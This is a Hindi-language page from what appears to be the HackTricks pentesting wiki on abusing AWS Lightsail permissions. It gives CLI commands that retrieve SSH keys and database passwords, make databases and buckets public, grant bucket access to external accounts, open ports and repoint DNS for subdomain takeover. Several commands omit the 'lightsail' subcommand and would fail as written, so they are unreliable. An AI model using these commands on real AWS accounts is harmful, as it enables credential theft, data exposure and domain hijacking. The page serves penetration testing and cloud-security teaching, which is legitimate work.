AWS - Lightsail Privesc

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Lightsail

Lightsail के बारे में अधिक जानकारी के लिए देखें:

AWS - Lightsail Enum

warning

यह ध्यान रखना महत्वपूर्ण है कि Lightsail उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग प्रिवेस्क के लिए नहीं कर सकते। हालाँकि, संवेदनशील डेटा जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है।

lightsail:DownloadDefaultKeyPair

यह अनुमति आपको उदाहरणों तक पहुँचने के लिए SSH कुंजी प्राप्त करने की अनुमति देगी:

aws lightsail download-default-key-pair

संभावित प्रभाव: इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।

lightsail:GetInstanceAccessDetails

यह अनुमति आपको इंस्टेंस तक पहुँचने के लिए SSH कुंजी उत्पन्न करने की अनुमति देगी:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

संभावित प्रभाव: इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।

lightsail:CreateBucketAccessKey

यह अनुमति आपको बकेट तक पहुँचने के लिए एक कुंजी प्राप्त करने की अनुमति देगी:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

संभावित प्रभाव: बकेट के अंदर संवेदनशील जानकारी खोजें।

lightsail:GetRelationalDatabaseMasterUserPassword

यह अनुमति आपको डेटाबेस तक पहुँचने के लिए क्रेडेंशियल प्राप्त करने की अनुमति देगी:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

lightsail:UpdateRelationalDatabase

यह अनुमति आपको डेटाबेस तक पहुँचने के लिए पासवर्ड बदलने की अनुमति देगी:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

यदि डेटाबेस सार्वजनिक नहीं है, तो आप इन अनुमतियों के साथ इसे सार्वजनिक भी बना सकते हैं।

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

lightsail:OpenInstancePublicPorts

यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है।

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

संभावित प्रभाव: संवेदनशील पोर्ट्स तक पहुँच।

lightsail:PutInstancePublicPorts

यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है। ध्यान दें कि कॉल किसी भी पोर्ट को बंद कर देगी जो इसमें निर्दिष्ट नहीं है।

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

संभावित प्रभाव: संवेदनशील पोर्ट्स तक पहुँच।

lightsail:SetResourceAccessForBucket

यह अनुमति एक इंस्टेंस को बिना किसी अतिरिक्त क्रेडेंशियल के एक बकेट तक पहुँच देने की अनुमति देती है।

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

संभावित प्रभाव: संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।

lightsail:UpdateBucket

इस अनुमति के साथ एक हमलावर अपने AWS खाते को बकेट्स पर पढ़ने की पहुंच दे सकता है या यहां तक कि बकेट्स को सभी के लिए सार्वजनिक बना सकता है:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

संभावित प्रभाव: संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।

lightsail:UpdateContainerService

इन अनुमतियों के साथ, एक हमलावर कंटेनर सेवा से निजी ECRs तक पहुंच प्रदान कर सकता है।

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

संभावित प्रभाव: निजी ECR से संवेदनशील जानकारी प्राप्त करें

lightsail:CreateDomainEntry

इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

संभावित प्रभाव: एक डोमेन का अधिग्रहण

lightsail:UpdateDomainEntry

इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

संभावित प्रभाव: एक डोमेन का अधिग्रहण